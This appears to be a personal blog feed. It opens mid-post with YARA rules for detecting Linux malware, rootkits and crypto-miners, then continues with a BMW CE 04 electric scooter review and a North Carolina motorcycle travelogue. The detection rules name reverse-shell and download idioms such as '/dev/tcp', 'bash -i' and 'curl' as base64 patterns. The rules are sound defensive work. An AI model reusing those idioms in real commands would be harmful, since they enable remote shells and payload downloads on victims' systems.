Most of the queries are self-evident, but I'll share one of the cooler queries I use to detect malware that is hiding data away in base64 encoded blobs:

rule obfuscated_base64 {
    $b_chmod = "chmod" base64
    $b_curl = "curl " base64
    $b_bin_sh = "/bin/sh" base64
    $b_bin_bash = "/bin/bash" base64
    $b_openssl = "openssl" base64
    $b_dev_null = "/dev/null" base64
    $b_user_agent = "User-Agent" base64
    $b_usr_bin = "/usr/bin" base64
    $b_usr_sbin = "/usr/sbin" base64
    $b_var_tmp = "/var/tmp" base64
    $b_var_run = "/var/run" base64
    $b_screen_dm = "screen -dm" base64
    $b_zmodload = "zmodload" base64
    $b_dev_tcp = "/dev/tcp" base64
    $b_bash_i = "bash -i" base64
    $b_bash_c = "bash -c" base64
    $b_http = "http://" base64
    $b_https = "https://" base64
    $b_c_program = "#include <stdio.h>" base64
    $b_user_rootkit = "#include <dirent.h>" base64
    $b_kernel_rootkit = "#include <linux/module.h>" base64
    $b_c_program2 = "#include<stdio.h>" base64
    $b_user_rootkit2 = "#include<dirent.h>" base64
    $b_kernel_rootkit2 = "#include<linux/module.h>" base64
    $b_password = "password" base64
    $b_gzip = "H4sI"
    $not_kandji = "kandji-parameter-agent"
    $not_kolide = "KOLIDE_LAUNCHER_OPTION"
    $not_mdmprofile = "mdmprofile"
    $not_chromium = "RasterCHROMIUM"
    $not_cert = "-----BEGIN CERTIFICATE-----"
  condition:
    filesize < 10485760 and any of ($b_*) and none of ($not_*)
}

My rules have not attempted to detect rootkit source code yet, but surprisingly, this exceptionally broad rule worked to discover Diamorphine:

rule suspicious_keywords {
  strings:
    $DDoS = "DDoS"
    $DD0S = "DD0S"
    $backdoor = "backdoor"
    $Backdoor = "Backdoor"
    $backd00r = "backd00r"
    $rootkit = "rootkit"
    $Rootkit = "Rootkit"
    $r00tkit = "r00tkit"
    $r00tk1t = "r00tk1t"
    $trojan = "trojan"
    $Trojan = "Trojan"
    $tr0jan = "tr0jan"
  condition:
    any of them
}

This simple rule to detect usermode rootkits caught the prochide.c:

rule userspace_process_hider {
  strings:
    $prochide = "processhide"
    $proc_to_filter = "process_to_filter"
    $readdir_override = "original_readdir"
  condition:
    any of them
}

The python-dev xmrig program triggered 8 different rules. I'll share one of the more creative ones:

rule probably_a_linux_miner {
  strings:
    $argon = "argon2d"
    $proc_self = "/proc/self"
    $numa = "NUMA"
  condition:
    all of them
}

If you want to see some YARA queries specifically tuned for finding Linux rootkits, dmknght/rkcheck is a good reference.

Detecting using gut instinct

If you ever see a host with a load of 5.0+ and no high-CPU processes, chances are you have been infected with a hidden crypto-miner. No rootkit I've seen on Linux attempts to manipulate load values.

Wrapping Up

I hope you had fun through this tour. If you have any questions or malware samples to share, feel free to contact me at thomas(%2b)stromberg.org

BMW CE 04: The Suit & Tie Rocket Ship

2023-08-13T00:00:00Z

With 4,700 miles (7500km) and 9 months under my belt, it's time for my long-term review of the BMW CE 04.

Introduction

In 2022, BMW released the CE 04: a futuristic-looking spaceship in a sea of boring two-wheeled EVs. It made quite a splash, with BMW selling nearly 5000 in the first year. While European sales were strong, I estimate that only about 250 were sold in the USA during 2022. I may, in fact be the only CE 04 owner in North Carolina.

One question I often get from onlookers is: is that thing a scooter, or is that a motorcycle? While the CE 04 shares parts with their motorcycle line (S1000XR, F850GS, etc.), it has a floorboard instead of foot pegs, so BMW calls it a scooter. With the transition to electric, there is no other difference between a scooter and a motorcycle. Scooters also generally have an area under the dash where you can place your legs or groceries, but the CE 04 does not.

While the CE 04 is the most fun I've had on two wheels, it is also the personification of compromise. It's heavy, but due to the exceptionally low center of gravity, it's far easier to handle than the equally heavy R1200GS. Rather than using new electric technologies like a hub motor, the CE 04 reuses well-tested components. Somehow, it is still the most efficient EV in its class (WMTC 3b). It's got more range than you need for the city, but less than you may want for touring.

Who should get this bike?

If you are looking for a fast, fun, practical utility bike, have access to a power outlet at home, and live within 30 miles (50km) of another EV charger (see the Plugshare map): skip the rest of this review and go buy a CE 04 now.

If you ride primarily in urban or suburban areas, I can't think of a better bike than the CE 04.

Who should steer clear of it?

If you want to participate in long group rides or want to venture out on day-long rides without micro-managing charging stops: check out Energica or Verge Motorcycles instead.

Specs

Top Speed: 78mph
Approximate Range:
- 75 miles @ 35mph / 120 km @ 60km/h
- 65 miles @ 45mph / 105 km @ 70km/h
- 60 miles @ 55mph / 95 km @ 90km/h
- 40 miles @ 70mph / 65 km @ 115km/h
Acceleration: 0-30mph (0-50km/h) in ~2s
Maintenance: Every 2 years or 6200 miles (10000km)
Battery: 8.9 kWh total (8.5 kWh usable)
Effective charge time: ~1 hour @ 30A (240V) with the "Quick Charge" option

What's Hot, What's Not?

Keeping in mind that I am using the CE 04 as both a utility vehicle and a sport touring vehicle in North Carolina:

Hot:

Brisk acceleration
Agile & easy to ride
Inexpensive to fuel ($1.15 where I live)
Always waking up to a full tank
Lack of engine noise and vibration makes it easier to tune into your surroundings
Leg protection
Reverse gear
Heated seat & hand-grips
30L of under-seat storage

Not so hot:

Range anxiety is real
Seats are uncomfortable for multi-hour rides
AC charging only; no support for DC fast chargers.
Fragile rear indicator lights

That Acceleration Tho

The CE 04 accelerates like a bat out of hell. If you crank the throttle all the way in "Road" or "Dynamic" mode, it will calmly and quietly reach 30km/h (18mph) before the first second is up. The lack of any perceived stress from the scooter when launching it from an intersection is uncanny. The traction control system limits the earliest stage of acceleration to avoid lofting the front wheel or throwing a passenger off the back.

The acceleration still pulls aggressively through 60 km (37mph), enough to leave anything short of a supercar in the dust when leaving an intersection. After 72 km (45mph), the acceleration is no longer shocking and feels like a regular modern vehicle.

Leaving everyone else behind at a green light is the most enjoyable part of owning the CE 04.

How does it ride?

The BMW CE 04 rides really well, especially considering its weight. The center of gravity on this bike is easier lower than anything BMW has ever produced, which makes it a far more enjoyable experience to take this bike into town than the GS I used to have.

I've ridden the CE 04 in gravel, double-track, cities, highways, rain, flooded roads, and even briefly on ice. So far, the biggest handling surprise has been how competent this bike feels in gravel. The bike is also good on the highway or two-up, where it behaves much better than a F650GS and nearly as good as a R1200GS.

I can only find two faults with the bike handling:

The suspension is good, but you may periodically hit the travel limit (110mm front, 92mm rear) on a rough road
The steering of the CE 04 feels more easily influenced by high-speed crosswinds than other bikes

The Electric Experience

The best two things about having an electric vehicle are:

Near-zero maintenance
Never having to visit a gas station

The worst parts are:

The fear of exceeding your range
The fear of arriving at a broken charger

It was only on my first multi-day trip with the CE 04 that I finally mastered the art of dialing up efficiency as needed. If you find yourself in a situation where you need to stretch your range, the following recipe is good to squeeze an extra 10-15% out of the scoot:

Travel at 5mph (8km/h) less than the speed limit
Use "Eco" Mode
Avoid the brakes

I was surprised to learn that power usage has a cubic relationship with velocity:

power = 0.5 * density_of_air * velocity^3 * drag coefficient * surface area

This is much more noticeable on a two-wheeled EV than any other type of vehicle because of the high drag coefficient (>1 versus 0.23 in a Tesla Model Y), low energy density, and because they are highly efficient at slow speeds, whereas internal combustion engines are not. Even a small difference in speed dramatically impacts the range of EVs, especially a two-wheeled one.

I've observed a 23% range difference between "Dynamic" and "Eco" modes on the same stretch of road an hour apart. While the Dynamic mode has ~20% stronger regenerative braking than Eco, I'm skeptical of its effectiveness on a two-wheeled EV due to the relatively low inertial weight. The primary efficiency difference between the Evo/Rain and Road/Dynamic modes is due to the dampening of the acceleration curve.

Regarding the fear of arriving at a broken charger: I've now charged at 66 different locations and have only once had to adjust my route due to an unavailable charger. The key to avoiding charger disappointment is to look stations up on PlugShare ahead of time: if the most recent review doesn't reflect a successful charge, don't count on having one yourself.

Like most battery-powered devices, it takes about the same time to charge 20-80% as it does from 80-100% due to increased resistance from the battery. My average charge time at public chargers is 30 minutes (20-60%), but if I need to change up to 100% to make it somewhere, I'll grab a coffee and let the bike sit for an hour.

It is worth noting that the BMW CE 04 is only compatible with AC (alternating current) chargers, like what you have at home. While this means you can charge it from any 110V or 220V power source, it means that it isn't compatible with the faster DC (direct current) chargers. Due to this incompatibility, even with an adapter, the CE 04 will not charge at Tesla Superchargers or ElectrifyAmerica chargers. In the United States, the lack of DC support means roughly 15% of chargers are incompatible with the CE 04.

On the plus side, the various apps for looking up chargers allow you to select AC or DC. 99% of the free chargers are AC. The CE 04 works wonderfully with Tesla Destination Chargers, but you'll need to pack a TeslaTap Mini adapter to use them.

As the BMW CE 04 is slow at refueling compared to traditional two-wheeled bikes, group rides longer than 50 miles can be awkward. It doesn't help that group rides tend to encourage riding faster than the speed limit, which impacts your range.

Getting Connected

While the CE 04 does not require a cell phone to operate, you will need it if you want the giant 10.25" screen to show navigation instructions; you will need to install an Android or iOS application and connect your phone to your bike via Bluetooth. Good thing the scooter comes with a USB-C charging slot -- the CE 04 even has a fan-cooled location for stowing your phone.

There is no support for Android Auto, CarPlay, or any other mechanism to display maps from your phone to the console. If you want Navigation, you have to use the BMW Motorrad Connected app, which isn't all that terrible.

The best features of the BMW-connected software are:

You can set the preferred "Windiness" for your route
Maps work offline
It records a GPS route of every ride, along with the state-of-charge, ABS, and traction events.

The worst features are:

It will not tell you how much range to expect at your destination
It will not warn you if the destination exceeds your range
It will not route you to a charging stop along the way
It does not show chargers on the map
Address lookups are sluggish and interrupted by Bluetooth connectivity changes
If you have your phone setup as a hotspot, it will fail to display maps on your console

Does it Tour?

Hell, yes, it tours.

You can treat the BMW CE 04 as an exotic electric sport-touring machine, within reason. Due to the recharge times, the longest you can travel within 24 hours is about 400 mi/650km. My longest single-day ride has been 333 mi/530km, and my longest 3-day trip has been 650 mi/1050km.

Touring with the BMW CE 04 takes planning, but visiting small towns with tiny independent charging stations in pedestrian-friendly spaces has been surprisingly rewarding. Traveling at a slower speed to these little electrical oases has provided a more exciting travel experience than I ever had with the F650GS Dakar or R1150GS. By preferring slower travel speeds and making loads of coffee stops, touring on the CE 04 feels similar to a bicycle tour at 3X speed.

You can find chargers even in North Carolina's one-stoplight towns: Goldston to Star. The limited range of the CE 04 requires planning to locate them, but you can go a long way with ABRP (ABetterRoutePlanner) and PlugShare. ABRP does not know about the CE 04, but it's possible to simulate one by selecting the Zero SDS ZF 7.2 + PT and setting the reference consumption to 190 Wh/mi @ 65mph.

The weakest spot for touring on the BMW CE 04 is the seat. I am still looking for a seating position that is comfortable for more than 4 hours. For my pillion, it's uncomfortable after an hour. I may consider buying an Airhawk seat in the future.

Making the CE 04 mine

I've made a handful of changes to the bike to make it more comfortable:

Wunderlich handguards: Increased protection and decreased heat loss from the heated handgrips when it's cold.
Shad SH48 top case: to carry helmet & gear for a passenger.
Skene lights: significantly improve visibility for the drivers around me
2x2 Cycles Moto Bicycle Carrier: to carry a bicycle on the back (warning: beware of clearance problems with the standard front-wheel mount to your turn signal indicator)
Wunderlich Winter Muffs: to keep my fingers warm even when it's below freezing
Helix Handlebar Bag - Velcroed to the space under the dash, holds my camera, first aid kit, and TeslaTap Mini.
Reinforced turn signal indicators: (a tie wrap)

I've been happy with all of these so far. There are many CE 04 accessories available to the EU market that may never show up in the USA, such as the Wunderlich Rain Skirt.

Maintenance

Unsurprisingly, the maintenance requirements of the BMW CE 04 are minimal. There is no engine oil that needs changing, and with the regenerative motor braking, the brake pads are, for the most part, relegated to emergency stops. I am not a mechanic, but this is the rough maintenance schedule I am going by:

750 miles: Initial "break-in" service (final drive fluid change, belt tension check)
Every 4500 miles: replace the front tire
Every 6200 miles: replace the rear tire, final drive fluid change, belt tension check
Every 20000 miles: replace the belt
Every 50000 miles: replace brake pads
Every 10000 miles: replace brake rotors
Every 2 years: replace brake fluid

As with their gas-burning bikes, BMW wants you to stop by a dealer every 6000 miles for maintenance. IMHO, that's excessive for an electric vehicle, especially given that the mechanics in the USA are not trained to work on the CE 04. If you ever find yourself wanting to turn off the giant "MAINTENANCE DUE" pop-up on the console, it's quickly done with an ODB2 dongle and the MotoScan phone app.

One unexpected quirk about the CE 04 is that it burns through front tires more quickly than the rear, opposite of most two-wheeled vehicles and 4-wheeled EVs.

Room for Improvement

Roughly in priority order:

A long-range version, like the BMW C-Evolution
Support for DC charging (NACS) to broaden charger compatibility
Automatic routing to chargers in navigation mode
Touring-friendly seats
Reinforced indicators

Conclusion

It isn't for everyone, but for me, the BMW CE 04 is a nearly perfect vehicle. It's great for errands, such as pizza pickups and school drop-offs, and fun outings, such as lunch with friends and exploring the countryside.

I'd buy the CE 04 again in a heartbeat. If BMW released a version with 20mi/30km more range, I'd buy it too.

If you want to know more, drop by the BMW Scooters Forum, where everyone is exceptionally friendly and helpful.

ISO Native Lands: Day 3 (Hickory↝Chapel Hill)

2023-07-17T00:00:00Z

Today is homeward bound: a final 204 miles through Central North Carolina. There are a couple of locations of historical interest that I have plans to stop by: The Trading Ford, Sapona, and the Keyauwee village. I'm not keeping my hopes up too high, though, as the exact locations of each are murky and possibly on private property.

Wanting to get as much distance as possible before the evil day star becomes intolerable, I set my sights on breakfast in Salisbury, 54 miles away. That's about the maximum distance I'll ride anyways on rural highways before recharging the scooter: ABetterRoutePlanner says I'll arrive downtown with a 13% charge. The plan is to park & walk to breakfast: though apparently, the only breakfast option on a Sunday morning in Salisbury is Waffle House.

I decide to make an attempt to stretch the range out as far as I can this morning: this means easing the throttle, going just below the speed limit, pulling out when folks show up behind me, and coasting to a stop using the regenerative "engine" braking rather than applying the brakes. Thankfully, country roads are plenty quiet at 7am on a Sunday morning.

Much of this first leg is in the vicinity of Statesville, NC. The scene is ranch houses, monstrous industrial buildings, semi-truck trailers, small rural churches, and corn. This area is known for cheap land, power, and water, so it makes sense to see all the big-named companies with multiple entrances, but it still feels unlike anywhere else I've been on this trip.

Depressingly, I began to think about how the local population lives their lives as slaves to these giant faceless corporations: you spend your 40 hours a week in a giant box following orders from your company, then you visit the church on the weekend to get orders from someone else, go home to rest, and then you die. I realized that I had just summarized my own life and felt even more solemn after that.

I arrive at the first charger with 22% charge left - 9% more than I would have usually expected and worth about an extra 6 miles in range. It's good to know that I can dial up the efficiency if needed, which has led me to a new EV mantra of "Get low? Go slow".

Salisbury, or more specifically Gateway Park, is the first place I've parked my bike where things felt sketchy enough to bring my things with me instead of just concealing the side bag. To the left of me were two people packing their belongings into a shopping cart, and to the right was someone sleeping in a bus shelter curled up against a Huffy bike from the 90s. Salisbury has fallen a long way since Andrew Jackson practiced law here.

Even at 8:30am, it's beginning to feel sticky outside. The food at the Waffle House is good but not great. I was not feeling the Salisbury vibe and questioned whether it was wise to leave my motorcycle jacket and airbag vest behind, so I cut my urban exploration short and headed out to find the Trading Ford.

The ford was an important part of the Great Trading Path that went up and down the coast: used by natives and colonists alike. In this area, the Yadkin was generally 1000-1500 feet wide, and this was the only point where it was possible to cross over by foot or horseback. Unfortunately, the location of the ford has since been dammed, and while you can kind of see where it once was from I-85, the closest access is blocked off by a power plant:

I also tried to get to the location of Sapona, a famous Native American town adjacent to the Trading Ford mentioned in John Lawson's explorations. Unfortunately, nothing structural remains of it, and the site is on private land. I doubt few of the locals even know that Sapona is hiding beyond these trees:

Apparently, there is still some disagreement from archeologists on which side of the river the town was on.

Lexington

Feeling dejected and unsuccessful in my day thus far, I continue up the route of the trading path from Salisbury through Spencer to Lexington. The vibe is destitute and derelict. This corridor feels filled with the people that society has left behind. It's not a surprise when I arrive in downtown Lexington and see the theme continue. Many prime real estate locations are closed, including this local Census center from 3 years ago.

Allegedly famous for its barbeque, Lexington was primarily a textile and furniture town until those duties were moved overseas. On a Sunday morning, Lexington feels mostly dead. A random guy cruising down the hill on his bike, a crazy lady wandering around screaming to herself, and a person with a maimed arm wandering aimlessly.

At some point, it's just too hot to walk around, so I find a shady bench to chill out at near the courthouse.

Surprisingly, there are no water fountains or open markets to buy water from, so I ride to a CVS on the way out to buy some water for the coming hike.

Caraway, Keyauwee: same word, different spelling

I head East toward Asheboro, hoping to find the site of the famous Keyauwee village. The site location is an unconfirmed well-kept secret among archaeologists, but it's apparently along Caraway Creek and allegedly on private land. I tried to use hints from the books I've read on the subject and Google Earth to make an educated guess. John Lawson's "A New Voyage to Carolina" (1704) described it:

Nature hath so fortified this Town, with Mountains, that were it a Seat of War, it might easily be made impregnable; having large Corn-Fields joining to their Cabins, and a Savanna near the Town, at the Foot of these Mountains, that is capable of keeping some hundred Heads of Cattle. And all this environed round with very high Mountains so that no hard Wind ever troubles these Inhabitants.

Intriguingly, Lawson also mentions that at the top of the nearby mountain is a "cave that 100 Men may fit very conveniently to dine in". I recently saw that the Caraway Creek Preserve opened up just South of the area I had identified as an armchair historian, so I decided to visit to see if it lived up to the description.

Walking down to Caraway Creek, I imagined the sounds of a bustling native village. Craftspeople building things, food cooking over an open fire, kids playing with sticks and balls.

While this location was surrounded by the low mountains of the northern Uwharrie, it didn't match the description. I couldn't shake the idea that I was off by many miles. Once I got home and did further research, I'm pretty sure I was ~2 miles too far north and that the more likely location is just below Ridges Mountain. I'll take a closer look at a future trip.

Asheboro and home

I dropped by downtown Asheboro for a late lunch and a charge. Asheboro seems reinvigorated compared to the last time I was here 20+ years ago. The downtown lot has multiple free charging stations, art studios, and restaurants. It's clean, but you can still find plenty of old brick and grit.

It's 93'F outside, so I'm walking around with what's left of my Camelbak Chill bottle, keeping myself hydrated until I find an interesting-looking place to eat. I settle on Flying Pig Food & Spirits and am quickly disarmed by a hostess who declares that I cannot come in with a water bottle. We negotiate, and she holds the bottle hostage for me at her stand while I eat.

I ordered a Dr. Pepper, water, and a "Fish Dog": fried mahi mahi in hot dog buns. It's weird but good. On the way out, I get the water in a to-go cup to refill my water bottle. I liked the place, but my interaction with the hostess made the entire visit feel awkward.

Leaving town, I pass over the Deep River by Cedar Falls and stop the bike as it just looks too gorgeous to pass up:

When I head down to the banks, a concerned father yells down to me, asking if I have any bandaids. His boy cut himself playing on the rocks. I'm glad to finally use the First Aid kit I keep handy, and even more glad that I didn't have to use it on myself.

On the country roads between Asheboro and Siler City lies miles and miles of tar snakes. It felt like I was riding through one of those suspension test tracks you see car prototypes go through.

At this point, I'm feeling done with the road. While I could just keep slogging away at these little rural roads, I'm tired, the sun is getting low, and the deer are coming out to play, so I decide to slab it home via Highway 64 & 15-501. To do so, I head to the one charger between here and Pittsboro for one last top-off: The Ford Dealership in Siler City.

It always feels awkward charging at a vehicle dealer, especially when it's not the manufacturer of your vehicle. This dealer is closed on Sundays, so it makes the experience much less weird. I add 15% to my tank, ride the last hour home, and call it a trip.

Trip Conclusion

623 miles, 3 days, 16 charging stops

On this trip, I've become very comfortable touring on the BMW CE-04 - even to the point where I've fallen in love with this surprisingly well-thought-out scooter. The only thing I can fault the scooter for is the lack of a comfortable seating position for multi-hour rides; that's the only thing my old R1150GS still gets points for.

Admittedly, the first time I rode the CE-04 a long distance, I was annoyed with all the charging stops, but I've since learned to appreciate all the forgotten small towns that topping up has taken me to. Whereas most gas stations are far from exciting walking locations, most charging stops are smack in the middle of downtown. Here is the final track for the trip:

With this trip, I finally lost my sense of range anxiety. I still charged far more often than I needed to -- on average, every 37 miles the first day compared to every 45 the last day -- I got less concerned about it over time. While I encountered no broken chargers on this trip, the occurrence is frequent enough that I'll continue to ensure I always have enough range to make it to an alternative.

I brought a lot of extra items for emergencies that never came to be: from the emergency electric jerrycan to the plethora of AC adapters, tire inflators, and other tools. Still, if I was to do it all over again, I'd do the same trip the same way.

ISO Native Lands: Day 2 (Rutherfordton↝Hickory)

2023-07-15T00:00:00Z

Today is the day of the twisties that I've been dreaming about, with roughly 180 miles of riding through the Blue Ridge Mountains ahead on my trusty BMW CE-04.

Breakfast at the Carrier House Bed & Breakfast was incredible: a creamy parfait, a savory souflée, and excellent coffee. I regret not exploring Rutherfordton, as it's one of the oldest towns in North Carolina (1787). It was also named after a general who inflicted considerable damage on the nearby Cherokee tribes in the Cherokee–American wars.

Alas, the hills were calling my name.

Onward to Lake Lure!

The last time I rode a motorcycle through the mountains was in 2010, so I'm feeling a bit rusty as Polk County Line Road begins to twist before continuing to Grassy Knob Rd. It's a great feeling wandering amidst the country orchards. I spy an Ornate Box Turtle crossing the road at one point and use my bike to block its safe passage.

At the intersection of Highway 9 & Highway 64, the mythical Lake Lure comes into view. The scene of parts of Dirty Dancing, the lake itself, is relatively young, only coming into being in 1927. Some wiseguy developer imagined this would be an excellent site for a lake resort, so he founded Carolina Mountain Power Company, which went on to dam the Broad River and built a hydroelectric plan to power his resort town.

Lake Lure is incredibly picturesque. I didn't need to charge here, but there was a free charger at the visitor center, and I wanted to walk around and take photos.

Chimney Rock

Chimney Rock is part of the Hickory Nut Gorge, sacred to the Cherokee and Catawba Indians. They tell tales of this being the land of the Yunwi Tsunsdi', or small dwarf or fairy-like humanoids who live in the rock caves. They were the guardians of the sacred tsa'lu (tobacco) and took action against those who hoped to harvest it.

Chimney Rock overlooks the Gorge and Broad River and is a State Park. The road leading up to it is slow, windy, and picturesque.

To get to the top, you can take an elevator or stairs that wind through boulders and bat caves. There are many places for Yunwi Tsunsdi' to hide, so watch your step.

Heading across the Broad River from the park is a cute tourist trap of a town. I get questioned by walkers about the scooter, check out the river, and move on.

Old Fort

Now the roads are getting twistier, which gets me pumped for the adventure to come.

My next stop was Old Fort, where the visitor center has two free EV chargers: one J1772 and one Tesla (NACS). The J1772 charger was in use by another BMW, so I was glad to have the TeslaTap Mini adapter handy for the CE-04. The driver on the other charger was nice enough to come out to ask if I wanted to swap spaces with them, but it wasn't necessary.

Downtown was small but charming, with a brewpub that I wish I had been able to try. I wasn't hungry and have a strict rule about no alcohol on two wheels. I had a very uncomfortable time riding through Belgium once, where I stopped for what should have been a long lunch and got a beer, but we had to leave early.

There was a lovely outdoor museum with 18th-century buildings from the area and what seemed to be the world's most depressing craft market. Even under their shady tents, the craftspeople had wilted in the heat, and no one looked like they wanted to be there.

On the way out, I passed Davidson’s Fort, which the town was named after. I hadn't planned to stop by - due to its controversial existence - but I was at the entrance anyways, so I wandered in.

I peeked inside the fort and saw that it was occupied only by reenactment actors setting up, so I began to walk back to the bike. One of the leaders noticed me taking photos and encouraged me to come in and check things out.

I'm glad I did, as I got an excellent 20-minute overview of the fort's history. I'll spare you the details, but if you are interested, see the Wikipedia article on it - suffice to say, the fort has a particularly bloody history, including being the base from which Rutherfordton wiped out the towns of the Lower Cherokee.

I took the bizarre way out of Old Fort recommended by the Nav software "Windy" mode, hitting small country backroads such as Cane Creek Rd and Mackey Creek Rd toward Marion.

I'm glad I did because the roads were both picturesque and fun to ride:

Little Switzerland & Blue Ridge Parkway

Little Switzerland has been on my "to-ride" list for years. It's a little slice of twisty-road heaven an hour east of Asheville, where two famously twisty roads intersect with the Blue Ridge Parkway: Highway 226A and Highway 80. Riding up Highway 80, I was having the time of my life. Seriously, I haven't had this much fun in YEARS! I couldn't help but feel I was truly living my best life here. Even the Blue Ridge Parkway section made for sublime riding. While the BRP is not exceptionally technical riding, it makes up for it in natural beauty and flow.

Little Switzerland lacks a central area to walk around, but it does have several hotels, cafes, bookstores, and a handful of EV chargers. I chose to stop at the Little Switzerland Books & Beans, as my body and bike could use the energy boost.

Afterward, I had to pick between 226A (AKA the “Diamondback”), which, while world-famous for excellent riding, would return me to Marion, where I had just come from, and continuing the Blue Ridge Parkway through Linville Gorge, which would get me much closer to Morganton.

Wanting to get to Lenoir by dinner, I chose the latter. I have a small ounce of regret for missing out on 226A, but it gives me a good reason to return later.

Joara, Fort San Juan

One of the most important locations in North Carolina history lies off of an unmarked and unnamed gravel road off Hendersonville Rd, just north of Morganto: Joara.

This place does not have an address or sign and was so understated that I even turned around once, unsure if this was the correct place and fearful of trespassing onto a rabid gun-owner property.

Joara was a bustling Native American town and chiefdom from 1000 AD to ~1650 AD. It was visited by the Spanish in 1540, and in 1567 they made the first European settlement in North Carolina, Fort San Juan, at Joara's northern edge. Fort San Juan was also the first European settlement in the

Why have a fort so far inland? The Spanish were trying to find an overland route to the Spanish silver mines in the mountains of Mexico and figured that the Appalachians might be part of the same range. The early Spanish expeditions in America have a truly fascinating history, almost to the point of unbelievableness.

Morganton

My next step was Morganton, where at the back of one of Catawba Meadows Park parks is a replica Native American village, representing what a small section of a local village such as Joara might have looked like:

Unfortunately, I arrived just after the exhibit's closing time, so that's all there was except a sign talking about Joara. I headed downtown to top off my bike before heading North again. Morganton has a pretty courthouse if nothing else:

Lenoir and Hickory

Since I knew I would be in Morganton, I checked in on some old colleagues from Google who lived in Lenoir - the site of Google's North Carolina data center.

Lenoir has much more going on than when I first visited some 15 years ago. The fact that tonight was their annual Blackberry festival helped to make that impression, but even without it, I could tell things had changed for the better.

The lively festival was quickly dashed by torrential downpours, which thankfully coincided with getting dinner with my old friends.

This is Debby, Dave, and me:

We hung out for a while, and once it stopped raining, I quickly said my goodbyes and raced toward my hotel in Hickory before the second arm of the storm system could reach me. A few laws may have been broken, but I'm proud to say I made it to the hotel mostly dry.

Once I dropped my things off, I went to move my bike to the back of the hotel to charge overnight, and the skies just opened up. We're talking dime & nickel-sized raindrops.

Rain wouldn't have been a problem, except the charger was managed through Shell Recharge, which requires interacting with their poorly built and forgetful application. Have you ever tried to log in with your e-mail address and password in the pouring rain? How about taking a picture of a QR code in the dark when the lens is covered in water?

It took me about 10 minutes to get the stupid thing to begin charging. In comparison, other chargers are just tap+plug or just plug.

Having a fully charged bike will save me a good amount of time tomorrow morning, so the frustration was worth it.

ISO Native Lands: Day 1 (Chapel Hill↝Rutherfordton)

2023-07-15T00:00:00Z

Today began like most days do not: up at 5 am, staring at a scooter in the pouring rain, wondering if this trip was a good idea. Most adventures aren't, but that hasn't stopped anyone before.

My favorite personal fault is that when I commit to doing something, I do it regardless if it makes sense or not. Accordingly, I pressed the button to bring the BMW CE-04 to life as thunder reverberated across my recently adopted hometown of Chapel Hill, NC.

Today’s goals were the Town Creek Indian Site, lunch with a friend, and a quaint bed and breakfast in Rutherfordton, NC - some 200 miles direct - but the straightest routes in life are always the dullest.

Flashes & Floods

It is raining absolutely cats, dogs, and wombats. I'm glad I loaded the bike up the night before, even if it means I have to unload the rain jacket and rain pants as the thunder rumbles in the background. In the pitch-black rain, I head, nervous enough that I accidentally trigger ABS before making it out onto the main road. I'm a bit more careful as I wade through downtown Chapel Hill, the UNC campus, and onto 15-501.

As I pull onto the 4-lane highway south toward Pittsboro, the weather intensifies. Lightning is dancing around me in all directions, and the rain hits the road so hard that it splashes back upwards. Visibility is poor: without my brights on, I have difficulty seeing the lane markings, but due to oncoming traffic, they are off most of the time.

Doubts swirl through my head: is this insanity? Is the reason why lightning strikes rarely hit humans because most of them are smart enough to stay home when bolts are visible? Is 1.7mm of tire tread enough to avoid hydroplaning? I pull into a gas station for a moment - if only to put a pair of waterproof socks on.

If I hang out here for even 30 minutes, it will blow my schedule off course, so after a minute or two, I suck it up and hit the road again. I tell myself that as long as I can make it to my charging stop in Goldston, I can hide under a shelter there and delay for a while.

The strength of the storm pulses in and out. My watch is buzzing with notifications, but at this point, I'm not stopping for anything. Pittsboro is a blur. I turn off onto Highway 902 toward Goldston, glad that I had at least rehearsed this section earlier in the week so that I know that the road conditions are good. I'm thankful that the rain keeps the deer off the road at this hour.

Crossing over George's Creek, I suddenly hear a loud "whoosh" sound as my front wheel dives through a stream of water that I never saw. As the water smashes the underside of my bike, the sound reminds me of being inside a loud carwash. It hit so hard that my feet could feel the impact reverberate through the battery pack and the rubber footrest. My speed instantly drops from 40mph to 28mph before the "Throttle it out when in doubt" mantra hits, and I leave the overflowing creek behind me.

I'm so regretting my decision to nix purchasing an Insta360 because even in the dark, the crossing must have looked crazy. The rain begins to let up, but I keep things slow afterward anyways.

I stop off at the Goldston Library to charge: it's only 32 miles from home, but it's precisely on my route, and the next stop is just about at my 65-mile range limit for rural highways. I arrive with 52% - I only need a 5-minute charge to make it to my next stop, but I decided to try waiting out the rain. The library has no covered area, so I hid beneath a tree, and within 25 minutes, the storm finally ended.

Star: The Geographic Center of the Universe

With the rain halted, I tear out of the parking lot and notice the dawn coming up behind me. My mood improves.

I note that with the rain gone, the deer will come out soon to eat once they've dried off. I'm scared as hell of deer and take special notice whenever I pass through an area with a forest on one side of the road and a field on the other. If a deer can take out Mr. Safety, it can take me out too.

By the time I hit Highway 24 toward Biscoe, the roads have dried off, and I pick up the pace to make up for lost time. The increasing frequency of signs relating to pottery let me know that I'm not far from Seagrove, AKA the "Pottery Capital of the United States." Some miles away from my destination of Star, NC, I get a little reminder of the cost of all that extra velocity.

There is that pernicious little formula that says: the energy required to overcome wind resistance is cubic to velocity. On a two-wheeled EV, even going 5mph over the speed limit has a noticeable impact on the range. Thankfully, my route pulls me off the highway at the next turn and puts me on slower backroads, so I arrive at the charger with 11% left.

I set my rain gear out to dry, set my stopwatch for 45 minutes and begin walking around in search of a bathroom, coffee, and breakfast. At 8 am on a Friday, I already know my best option is a convenience store/gas station a half-mile up the road. The town of Star is small but oozing with character: from the rail yard to the auto shop to the jail. It feels great to be exploring on foot for a change.

At the convenience store, an older gentleman is scratching off what appears to be an unlimited number of lottery tickets. A younger gentleman ahead of me grabs a coffee and lines his pockets with an innumerable amount of half & half containers. I hit the restroom, grabbed a shitty pre-manufactured pastry and a mediocre cup of coffee, and headed to the park across the street to enjoy them.

Heading to Town

From Star, I head south on Alt 220 through Biscoe and Candor (home of the NC Peach Festival) and eventually onto a 4-mile unpaved road named "Lovin Hill Rd." There were one or two pucker moments as the road alternated between crushed stone, mud, and sand, but overall it was in good condition. I loved the experience and could not wait for it to end.

I was more mindful about my throttle this time and arrived at Town Creek with plenty of battery left. If I had been low on charge, my plan was to politely ask one of the rangers if I could use one of their external power outlets.

Town Creek is North Carolina's only state-run park focusing on its Native American heritage. The site was an active village built by people from the Pee Dee culture and occupied from 1150—1400 AD. The villagers abandoned it for unknown reasons before the Europeans landed in North Carolina in 1524. The going theory is that they moved west to the Catawba River.

